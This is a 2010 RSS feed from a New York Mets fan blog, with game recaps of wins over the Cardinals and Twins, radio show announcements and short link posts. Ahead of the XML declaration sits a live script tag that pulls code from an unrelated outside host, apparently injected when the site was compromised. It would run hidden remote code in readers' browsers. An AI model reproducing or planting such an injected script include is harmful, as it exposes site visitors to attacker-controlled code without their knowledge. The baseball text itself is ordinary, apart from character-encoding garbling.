<script src=http://shoremill.com/_private/blank.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pro Baseball Central &#124; Part of the Sportsday Radio Network &#187; Baseball</title>
	<atom:link href="http://www.probaseballcentral.com/tag/baseball/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.probaseballcentral.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Mon, 30 Aug 2010 01:15:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>THIS CALL TO THE BULLPEN RADIO SHOW TONIGHT AT 10PM ET ON BLOG TALK RADIO</title>
		<link>http://www.probaseballcentral.com/2010/08/24/this-call-to-the-bullpen-radio-show-tonight-at-10pm-et-on-blog-talk-radio/</link>
		<comments>http://www.probaseballcentral.com/2010/08/24/this-call-to-the-bullpen-radio-show-tonight-at-10pm-et-on-blog-talk-radio/#comments</comments>
		<pubDate>Tue, 24 Aug 2010 15:56:54 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Anniversary]]></category>
		<category><![CDATA[Baseball]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Cincinnati Reds]]></category>
		<category><![CDATA[Gm]]></category>
		<category><![CDATA[Mets]]></category>
		<category><![CDATA[Pete Rose]]></category>
		<category><![CDATA[Pittsburgh Pirates]]></category>
		<category><![CDATA[Profitability]]></category>
		<category><![CDATA[Radio Show]]></category>
		<category><![CDATA[Skill Sets]]></category>
		<category><![CDATA[Strasburg]]></category>
		<category><![CDATA[Talk Radio]]></category>
		<category><![CDATA[Ty Cobb]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2913</guid>
		<description><![CDATA[Join me tonight at 10PM ET on Blog Talk Radio for THIS CALL TO THE BULLPEN. I have no guest booked for the show soÂ theÂ call in line will be open. To talk baseball tonight call in at (646) 727-2465. Some of the topics I&#8217;m looking to discuss is my big concern on who will be [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://i746.photobucket.com/albums/xx101/kranepool/thiscalltobullpenblogtalkradiio.png" alt="" width="125" height="125" /></p>
<p>Join me tonight at <a href="http://blogtalkradio.com/call-to-the-bullpen">10PM ET on Blog Talk Radio for THIS CALL TO THE BULLPEN.</a> I have no guest booked for the show soÂ theÂ call in line will be open. <strong>To talk baseball tonight call in at (646) 727-2465</strong>. Some of the topics I&#8217;m looking to discuss is my big concern on who will be the next Mets manager and who is making the call on that hire (Jeffy Skill Sets, Omar or a new GM ?), Rob Dibble calling out Stephen StrasburgÂ to learn to pitch hurt, the Pittsburgh Pirates showing profitability in suckitude andÂ the Cincinnati Reds honoring Pete RoseÂ on the anniversary of Rose breaking TyÂ Cobb&#8217;s hit recordÂ and anything else that&#8217;s on my mind.</p>
<p>What&#8217;s on your mind? <strong>Call in and vent at (646) 727-2465 tonight on <a href="http://blogtalkradio.com/call-to-the-bullpen">THIS CALL TO THE BULLPEN.Â </a></strong></p>
<p><em>Don&#8217;t forget to check out the <a href="http://www.cafepress.com/thiscalltothebullpen">THIS CALL TO THE BULLPEN shop at Cafe Press</a></em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/08/24/this-call-to-the-bullpen-radio-show-tonight-at-10pm-et-on-blog-talk-radio/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HATINâ€™ ON HAGIN</title>
		<link>http://www.probaseballcentral.com/2010/07/30/hatin%e2%80%99-on-hagin/</link>
		<comments>http://www.probaseballcentral.com/2010/07/30/hatin%e2%80%99-on-hagin/#comments</comments>
		<pubDate>Fri, 30 Jul 2010 19:37:17 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Baseball]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Wayne Hagin]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2837</guid>
		<description><![CDATA[Check out my latest post on NY Baseball Blog on Wayne Hagin]]></description>
			<content:encoded><![CDATA[<p><a href="http://nybblogs.com/2010/07/30/hatin-on-hagin/">Check out my latest post on NY Baseball Blog on Wayne Hagin</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/07/30/hatin%e2%80%99-on-hagin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dickey and Davis Lead the Way in 4-0 Victory over Cardinals</title>
		<link>http://www.probaseballcentral.com/2010/07/30/dickey-and-davis-lead-the-way-in-4-0-victory-over-cardinals/</link>
		<comments>http://www.probaseballcentral.com/2010/07/30/dickey-and-davis-lead-the-way-in-4-0-victory-over-cardinals/#comments</comments>
		<pubDate>Fri, 30 Jul 2010 15:39:29 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Baseball]]></category>
		<category><![CDATA[Blake Hawksworth]]></category>
		<category><![CDATA[Buffalo]]></category>
		<category><![CDATA[Fifth Inning]]></category>
		<category><![CDATA[Game Plan]]></category>
		<category><![CDATA[Ground Balls]]></category>
		<category><![CDATA[Josh Thole]]></category>
		<category><![CDATA[Knuckleball]]></category>
		<category><![CDATA[Major League]]></category>
		<category><![CDATA[New York Mets]]></category>
		<category><![CDATA[Pitch]]></category>
		<category><![CDATA[Pitches]]></category>
		<category><![CDATA[Recipient]]></category>
		<category><![CDATA[Scoreless Streak]]></category>
		<category><![CDATA[Shutout]]></category>
		<category><![CDATA[St Louis Cardinals]]></category>
		<category><![CDATA[Starting Pitcher]]></category>
		<category><![CDATA[Strike Zone]]></category>
		<category><![CDATA[Victory]]></category>
		<category><![CDATA[Walks]]></category>

		<guid isPermaLink="false">http://www.nysportsday.com/?p=6571</guid>
		<description><![CDATA[New York &#8211; Starting pitcher R.A. Dickey went a season-high eight and one-thirds innings, giving up only four hits to help the New York Mets (52-50) blank the St. Louis Cardinals (56-46) by the score of 4-0 in afternoon baseball at Citi Field on Thursday. Dickey (7-4) was able to stretch his scoreless streak this [...]]]></description>
			<content:encoded><![CDATA[<p>New York &#8211; Starting pitcher R.A. Dickey went a season-high eight and one-thirds innings, giving up only four hits to help the New York Mets (52-50) blank the St. Louis Cardinals (56-46) by the score of 4-0 in afternoon baseball at Citi Field on Thursday.</p>
<p>Dickey (7-4) was able to stretch his scoreless streak this afternoon, to a career-best 17.0 consecutive innings, which dates back to the fifth inning of his start on July 20<sup>th</sup> at Arizona. Along with stretching his scoreless streak Dickey helped to lead the Mets to their major-league leading 14<sup>th</sup> shutout of the year.</p>
<p>It was noticed by Dickey along with young catcher Josh Thole saw that sometimes the knuckleball wasnâ€™t going to always make the other team swing and miss, so instead today the two were able to have a game plan which kept the Cardinals off balance.</p>
<p>Mets manager Jerry Manuel was impressed with how the starter could recognize that saying, â€œYes, especially for a pitch like the knuckleball, which is difficult to tell what direction it is going to go, even for the catcher. He and Josh have worked very well together to identify what makes them successful.â€</p>
<p>Thole who has had the opportunity to catch Dickey in Triple-A affiliate Buffalo noticed one change in the starter, â€œHis secondary pitches make the difference.Â  It helps to have those secondary pitches and he has really worked on them and it has made him a more successful pitcher.â€</p>
<p>â€œI tried to change speeds and was able to keep them (the Cardinals off balance today,â€ Dickey said of his start. â€œThe trend for anytime a pitcher has a shutout is when that pitcher has command of the strike zone and I was able to do that today.â€</p>
<p>For St. Louis starter Blake Hawksworth was the recipient of a tough loss in this afternoonâ€™s game (4-7) going six innings, giving up seven hits and four runs along with three walks and three strike outs.</p>
<p>In a game which featured many ground balls along with some fine defensive plays neither team was able to get on the board until the bottom of the third inning. Jose Reyes got the Mets going by ripping a double (18) to right field. Reyes was able to extend his hitting streak to 10 games, which dates to July 19<sup>th</sup> 2010. Outfielder Angel Pagan followed with a ground ball infield single, which thanks to his speed he was able to beat out and set the stage for rookie sensation Ike Davis.</p>
<p>Davis lifted the first pitch in his at bat over the Nikon sign in center field for his 15<sup>th</sup> home run of the season, and gave the Mets a comfortable 3-0 lead. For Davis, who had a day off in yesterdayâ€™s game,Â  the 15 homers are the fifth-most by a Mets rookie in franchise history, holding the overall record is the future Met Hall of Famer Darryl Strawberry with 26 in 1983.</p>
<p>On being able to provide clutch hitting in his first year with the club Davis said, â€œIt is all about the confidence you have as a hitter, you need to be able to go up to the plate and have confidence in your swing. You can have that exact same swing but if you donâ€™t have confidence it wonâ€™t go very far.â€ The first baseman continues by saying, â€œIf I hit it well enough I expect the ball to go out of the park. If I am able to get the barrel of the bat to center or to right, I know for sure it will go out. I just wanted to stay through it and not roll it over.â€</p>
<p>Dickey would continue to keep the Cardinals guessing in the top of the fifth inning. One huge ground out was when second baseman Skip Schumaker to hit into a infield double play, along with gettingÂ  Yadier Molina to hit into another ground out on a nice backhanded play by rookie Mike Hessman, who was playing third base for New York in the game. Hessman looked good making two nice backhanded grabs in the hot corner in this afternoonâ€™s game.</p>
<p>The Mets would get on the board one last time in the bottom of the fifth inning as Angel Pagan ripped a triple (7) to the right field crevice. Center fielder Carlos Beltran would plate that fourth New York run by lacing a single to left field to give New York the 4-0 lead.</p>
<p>â€œI am good to go and I just want to be out there and help the team win,â€ Beltran said after the game. â€œThe main thing for me is that I need to come into the ballpark before the game and do my pre-game routine, which started in St. Lucie, and it will be something that stays with me for the rest of my career.â€</p>
<p>Ground balls would continue to greet the Mets infielders as Dickey would induce seven alone in the later innings to keep the Cardinals off the board. In the top of the eighth inning the starter found some trouble as the rain started to come down as Schumaker hit a single to right field to try to start the Cardinals offense, a wild pitch placed the runner on second for pitch hitter Randy Winn. Dickey was able to get out of trouble by getting a hard hit ground ball to Alex Cora to end the inning.</p>
<p>â€œIt is great for us to play behind Dickey,â€ Davis said after the game. â€œIt is hard sometimes when the pitchers throw the balls outside the strike zone then we stay on your heels a little, but Dickey works so fast and he keeps us on our toes.â€</p>
<p>New York would try to add one last run in the bottom of the eighth as Hessman was hit in the shoulder by Cardinal reliever Mike MacDougal. Jose Thole worked a walk to have runners on first and second for Jeff Francoeur. Unfortunately for the 40,087 the outfielder hit a high pop up to first base for the first out. Alex Cora worked a walk, before Dickey hit into a fielderâ€™s choice for the second out. The bases were loaded for Jose Reyes, who hit a hard ground ball for the final out of the inning.</p>
<p>Top of the ninth inning was greeted by a huge cheer as Dickey took the hill to close out the game. Pinch hitter Colby Rasmus singled to center for the fourth St. Louis hit. Felipe Lopez advanced Rasmus on a ground ball to Ike Davis for the first out. A walk to rookie Jon Jay placed runners on first and second for the dangerous duo of Albert Pujols and Matt Holliday. Dickey would not find out how he would have fared against the two big bats as manager Jerry Manuel called for reliever Francisco Rodriguez who got the last two outs and sealed the 4-0 victory for New York.</p>
<p>â€œThis is one of those wins that you point too and hope that it can turn your season around, â€œDickey said. â€œYesterday was a heartbreaker, but we had no time to think about it. Today you really saw the character of this team and we really have a shot until the end of the season.â€</p>
<p>The Mets will now open a three game series against the Arizona Diamondbacks as righty Mike Pelfrey (10-5, 4.00 ERA) takes on Ian Kennedy (5-8, 4.10 ERA) in a 7:10 p.m. Friday night game at Citi Field.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Trade News: The National League East got a whole lot tougher today as the Philadelphia Phillies acquired Roy Oswalt in a trade with the Houston Astros in exchange for pitcher J.A. Happ and minor league prospects Jonathan Villar and Anthony Gose.</p>
<p>Story originally posted on <a href="http://www.latinosports.com/">www.latinosports.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/07/30/dickey-and-davis-lead-the-way-in-4-0-victory-over-cardinals/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mets get another series opening win against Twins</title>
		<link>http://www.probaseballcentral.com/2010/06/26/mets-get-another-series-opening-win-against-twins/</link>
		<comments>http://www.probaseballcentral.com/2010/06/26/mets-get-another-series-opening-win-against-twins/#comments</comments>
		<pubDate>Sat, 26 Jun 2010 05:45:55 +0000</pubDate>
		<dc:creator>Joe McDonald</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[American League Central]]></category>
		<category><![CDATA[Baseball]]></category>
		<category><![CDATA[Conclusion]]></category>
		<category><![CDATA[David Wright]]></category>
		<category><![CDATA[Days Of August]]></category>
		<category><![CDATA[Dog Days Of August]]></category>
		<category><![CDATA[First Game]]></category>
		<category><![CDATA[Friday Evening]]></category>
		<category><![CDATA[Home Park]]></category>
		<category><![CDATA[Jose Reyes]]></category>
		<category><![CDATA[Lead]]></category>
		<category><![CDATA[Mets Team]]></category>
		<category><![CDATA[Mike Pelfrey]]></category>
		<category><![CDATA[Minnesota Twins]]></category>
		<category><![CDATA[New York Mets]]></category>
		<category><![CDATA[Pitch]]></category>
		<category><![CDATA[Pitches]]></category>
		<category><![CDATA[Span]]></category>
		<category><![CDATA[Straight Series]]></category>
		<category><![CDATA[Struggle]]></category>

		<guid isPermaLink="false">http://www.nysportsday.com/?p=6300</guid>
		<description><![CDATA[New York â€“ When they get to the dog days of August and the September stretch, the New York Mets will certainly know that winning the first game of a series was important, And it certainly looks like the Mets could have an interesting final two months of the season based on what has been [...]]]></description>
			<content:encoded><![CDATA[<p>New York â€“ When they get to the dog days of August and the September stretch, the New York Mets will certainly know that winning the first game of a series was important, And it certainly looks like the Mets could have an interesting final two months of the season based on what has been happening as June nears a conclusion.</p>
<p>Friday evening at Citi Field, with starter Mike Pelfrey on the mound, New   York improved to 16-9 in the first game of a series with their 5-2 win over the Minnesota Twins. They have won seven straight series openers, 11-2 at their home park.</p>
<p>But when Denard Span hit a game leadoff home run on a 0-1 pitch, the ball traveling and going over the 358 sign in left, Pelfrey made it look like it would be a struggle, from the onset for the Mets to get another opening series win.</p>
<p>â€œI stayed in there and kept trying to grind,â€ said Pelfrey (10-2) who got the win in six innings of work. He allowed two runs and six hits and did not walk a batter in getting his sixth win in nine starts at home.Â  â€œIt was toughâ€ said Pelfrey because that leadoff home run by Span, his third, may have been hard to overcome.</p>
<p>The Twins in a battle for first place with Detroit in the American League central, ahead by a half game coming in, are a tough team to retire. â€œThat team is very good,â€ said Pelfrey who threw 117 pitches. â€œThey made me work out there and fouled off a lot of pitches.â€</p>
<p>But one thing about this Mets team is their resilient approach to come from behind. They did it again against Twins starter Kevin Slowey. They scored three runs in the fourth started by a Jose Reyes soft single, later scoring on a David Wright RBI double.</p>
<p>So Pelfrey had the lead, and the Mets once again played small ball and errorless baseball. Wright would also hit a solo home run in the sixth, off Slowey that gave the Mets their fifth run, his 13<sup>th</sup> of the season, and with two more runs batted in has 37 in his last 37 games.</p>
<p>â€œIâ€™m in a good spot right now, I feel good,â€ said Wright who came into the game leading the National League in RBI.Â  â€œHe seems very confident at the plate at this time and thatâ€™s a good sign for us,â€ said Mets manager Jerry Manuel about the resurgence of Wright who hit his third home run at Citi Field this season.</p>
<p>And it is the small ball that has the Mets also feeling confident. They remained a half game behind first place Atlanta as they play game two of the series Saturday afternoon with ace Johan Santana on the mound.</p>
<p>â€œSmall ball in a big ball parkâ€ said Manuel.Â  He added, as was the case in this game, â€œWe wonâ€™t give them the momentum,â€ meaning his team which got their 11<sup>th</sup> come from behind win of the season will stay competitive when they donâ€™t score first.</p>
<p>GAME NOTES FROM THE METS:Â Â  Carlos Beltran went 2-for-3 with a double and a walk as the designated hitter with St. Lucie of the Florida State League in his second rehabilitation assignment.Â Â  Outfielder Angel Pagan, day-to-day with a muscle pull said he feels better and may be in the lineup Saturday.</p>
<p>â€œTomorrow I am going to swing and see what happens,â€ commented Pagan who said that rest, treatment and exercise were a part of the regiment the past two days. Pagan has missed the last two games and is rumored to be a player in a possible trade that would bring pitcher Cliff Lee to the Metsâ€¦</p>
<p>Ruben Tejada a natural shortstop, and at second, for the injured Luis Castillo is playing the position well and also connecting at the plate. He extended his hitting streak to nine games with a double in the fifth inning and the streak is the second longest for a rookie in the major leagues this season.</p>
<p>â€œHe is playing with confidence and I am surprised about his ability to play second base,â€ said Manuel about his rookie that is part of a Mets home grown infield that includes Wright at third, Reyes at short, and Ike Davis at firstâ€¦.</p>
<p>Jason Bay may once again be seeing the ball better and his ability to drive in runs makes the Mets lineup that more potent, as was expected when he was picked up in the off-season. â€œHeâ€™s one of those guys that when he gets hot he gets going,â€ said Maunel. Bay had a run scoring double in that third inning and has driven in two in the last two gamesâ€¦.</p>
<p>With three more scoreless innings of relief the Mets pen has pitched 21.1 scoreless innings dating back to the eighth inning on June 17<sup>th</sup>, allowing 15 hits, walking seven and striking out 25.Â  Francisco Rodriguez got his 17<sup>th</sup> save though giving up two singles in the ninth. He also is having some stiffness in his back which prompted Manuel to see him on the mound</p>
<p>Rodriguez admitted it has been something he has been dealing with and he recently took a anti-inflammatory shot. Manuel sees no reason for concern though speculation persists that the Rodriguez failure to get through an easy inning may be attributed to the stiffness.</p>
<p>e-mail Rich Mancuso: <a href="mailto:Ring786@aol.com">Ring786@aol.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/06/26/mets-get-another-series-opening-win-against-twins/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CHECK OUT MY LAST POST ON NY BASEBALL BLOG</title>
		<link>http://www.probaseballcentral.com/2010/06/14/check-out-my-last-post-on-ny-baseball-blog/</link>
		<comments>http://www.probaseballcentral.com/2010/06/14/check-out-my-last-post-on-ny-baseball-blog/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 18:13:56 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Baseball]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Mets Fans]]></category>
		<category><![CDATA[Shea Stadium]]></category>
		<category><![CDATA[Staple]]></category>
		<category><![CDATA[Vuvuzela]]></category>
		<category><![CDATA[World Cup]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2671</guid>
		<description><![CDATA[
I wrote a piece for NY Baseball Blog on the Vuvuzela and if you&#8217;ve seen or read anything on the World Cup you what that is but did you younger Mets fans know that a simallar version of Vuvuzela was a staple at Shea Stadium back in the day?
]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://img.en.china.cn/0/0,0,457,50822,500,500,c3575162.jpg" alt="" width="180" height="180" /></p>
<p>I wrote a piece for <a href="http://nybblogs.com/2010/06/14/is-that-a-vuvuzela-in-your-pocket-or-are-you-just-happy-to-see-me/">NY Baseball Blog on the Vuvuzela </a>and if you&#8217;ve seen or read anything on the World Cup you what that is but did you younger Mets fans know that a simallar version of Vuvuzela was a staple at Shea Stadium back in the day?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/06/14/check-out-my-last-post-on-ny-baseball-blog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BOBBY V TO MANAGE â€œâ€BAWLMERâ€?</title>
		<link>http://www.probaseballcentral.com/2010/06/09/bobby-v-to-manage-%e2%80%9c%e2%80%9dbawlmer%e2%80%9d/</link>
		<comments>http://www.probaseballcentral.com/2010/06/09/bobby-v-to-manage-%e2%80%9c%e2%80%9dbawlmer%e2%80%9d/#comments</comments>
		<pubDate>Wed, 09 Jun 2010 16:18:04 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Andy Macphail]]></category>
		<category><![CDATA[Baltimore Sun]]></category>
		<category><![CDATA[Baseball]]></category>
		<category><![CDATA[Bobby Valentine]]></category>
		<category><![CDATA[Bryce]]></category>
		<category><![CDATA[Bv]]></category>
		<category><![CDATA[Dugout]]></category>
		<category><![CDATA[Franchises]]></category>
		<category><![CDATA[Job]]></category>
		<category><![CDATA[Orioles]]></category>
		<category><![CDATA[Peter Angelos]]></category>
		<category><![CDATA[President Andy]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2645</guid>
		<description><![CDATA[According to this story in the Baltimore Sun, Bobby Valentine is scheduled to get an interview with Orioles President Andy MacPhail for the job of manager.Â  I have no idea why BV would want this job as Peter Angelos has destroyed what was one of the finest franchises in baseball. With the Stephen Strasbug in [...]]]></description>
			<content:encoded><![CDATA[<p>According to this story in the <a href="http://articles.baltimoresun.com/2010-06-08/sports/bs-sp-orioles-manager-0609-20100608_1_eric-wedge-orioles-search-managerial-search">Baltimore Sun</a>, Bobby Valentine is scheduled to get an interview with Orioles President Andy MacPhail for the job of manager.Â  I have no idea why BV would want this job as Peter Angelos has destroyed what was one of the finest franchises in baseball. With the Stephen Strasbug in DC now and Bryce Harper not far behind, the O&#8217;s will be the second team in the area very soon. I figure this is Valentines&#8217; way of letting everyone know he&#8217;s interested in getting back in the dugout.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/06/09/bobby-v-to-manage-%e2%80%9c%e2%80%9dbawlmer%e2%80%9d/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OH HAPPY DAY!!!!</title>
		<link>http://www.probaseballcentral.com/2010/06/05/oh-happy-day/</link>
		<comments>http://www.probaseballcentral.com/2010/06/05/oh-happy-day/#comments</comments>
		<pubDate>Sat, 05 Jun 2010 17:05:03 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Baseball]]></category>
		<category><![CDATA[Brooklyn]]></category>
		<category><![CDATA[Brooklyn Cyclones]]></category>
		<category><![CDATA[Dl]]></category>
		<category><![CDATA[Gary Mathews Jr]]></category>
		<category><![CDATA[Gl]]></category>
		<category><![CDATA[Luis Castillo]]></category>
		<category><![CDATA[Mathews]]></category>
		<category><![CDATA[Oh Happy Day]]></category>
		<category><![CDATA[Ollie]]></category>
		<category><![CDATA[Reese Havens]]></category>
		<category><![CDATA[Sal]]></category>
		<category><![CDATA[Sand Gnats]]></category>
		<category><![CDATA[Savannah]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2625</guid>
		<description><![CDATA[
Gary Mathews Jr has been DFAâ€™d
Luis Castillo is on the DL
OLLIE PEREZ IS ON THE DL!!!!! I hope he gets moved to the GL (Get Lost)
Reese Havens is tearing up Double A
The Savannah Sand Gnats pitching staff is dominating the SAL
And I just got my invite to the Brooklyn Cyclones open practice a week from [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://images.cafepress.com/image/18541449_400x400.jpg" alt="" width="144" height="144" /></p>
<p>Gary Mathews Jr has been DFAâ€™d</p>
<p>Luis Castillo is on the DL</p>
<p><a href="http://www.metsblog.com/2010/06/05/news-oliver-perez-is-on-the-dl/">OLLIE PEREZ IS ON THE DL!!!!!</a> I hope he gets moved to the GL (Get Lost)</p>
<p><a href="http://www.amazinavenue.com/2010/6/5/1502202/mets-daily-farm-system-report-6-5">Reese Havens is tearing up Double A</a></p>
<p><a href="http://www.amazinavenue.com/2010/6/5/1502202/mets-daily-farm-system-report-6-5">The Savannah Sand Gnats pitching staff is dominating the SAL</a></p>
<p>And I just got my invite to the Brooklyn Cyclones open practice a week from Wednesday</p>
<p><a href="http://1.bp.blogspot.com/_TZ60-72xZZk/SiaTlciHkgI/AAAAAAAAB6I/rTT-mMBoaM0/s400/Happy_Dance.jpg">Time to do the Happy Baseball Dance!!!!!!!!!!!!!!!!!!</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/06/05/oh-happy-day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>THE DAILY LINE TALKS TO DARRYL STRAWBERRY</title>
		<link>http://www.probaseballcentral.com/2010/05/12/the-daily-line-talks-to-darryl-strawberry/</link>
		<comments>http://www.probaseballcentral.com/2010/05/12/the-daily-line-talks-to-darryl-strawberry/#comments</comments>
		<pubDate>Wed, 12 May 2010 21:20:41 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
		<category><![CDATA[Baseball]]></category>
		<category><![CDATA[Canadians]]></category>
		<category><![CDATA[Darryl Strawberry]]></category>
		<category><![CDATA[Drug Use]]></category>
		<category><![CDATA[Game 7]]></category>
		<category><![CDATA[Lawrence Taylor]]></category>
		<category><![CDATA[Penguins]]></category>
		<category><![CDATA[Sad Saga]]></category>
		<category><![CDATA[Sat]]></category>

		<guid isPermaLink="false">http://www.kranepoolsociety.com/?p=2560</guid>
		<description><![CDATA[
The Daily Line (seen on VERSUS) sat down with Darryl Strawberry to talk about among other topics,Â  playing baseball in the 80&#8217;s, drug use back then and the sad saga of Lawrence Taylor. Check out the video right here
Check out The Daily Line tonight at 11PM ET right after Canadians-Penguins Game 7 on VERSUS

]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://paxarcana.files.wordpress.com/2008/03/darryl_strawberry.jpg" alt="" width="220" height="270" /></p>
<p><a href="http://www.versus.com/shows/the-daily-line/">The Daily Line</a> (seen on <a href="http://www.versus.com">VERSUS</a>) sat down with Darryl Strawberry to talk about among other topics,Â  playing baseball in the 80&#8217;s, drug use back then and the sad saga of Lawrence Taylor. Check out the video<a href="http://www.viddler.com/explore/TheDailyLine/videos/23/"> right here</a></p>
<p>Check out The Daily Line tonight at 11PM ET right after Canadians-Penguins Game 7 on VERSUS</p>
<p><img class="alignleft" src="http://images.dailyradar.com/media/uploads/ballhype/story_preview/2010/04/08/the_daily_line_on_versus.jpg" alt="" width="140" height="140" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.probaseballcentral.com/2010/05/12/the-daily-line-talks-to-darryl-strawberry/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>THIS CALL TO THE BULLPEN: TONIGHT AT10PM ET ON BLOG TALK RADIO</title>
		<link>http://www.probaseballcentral.com/2010/04/14/this-call-to-the-bullpen-tonight-at10pm-et-on-blog-talk-radio/</link>
		<comments>http://www.probaseballcentral.com/2010/04/14/this-call-to-the-bullpen-tonight-at10pm-et-on-blog-talk-radio/#comments</comments>
		<pubDate>Wed, 14 Apr 2010 19:22:55 +0000</pubDate>
		<dc:creator>Steve Keane</dc:creator>
				<category><![CDATA[Kranepool]]></category>
		<category><![CDATA[NY Mets Report]]></category>
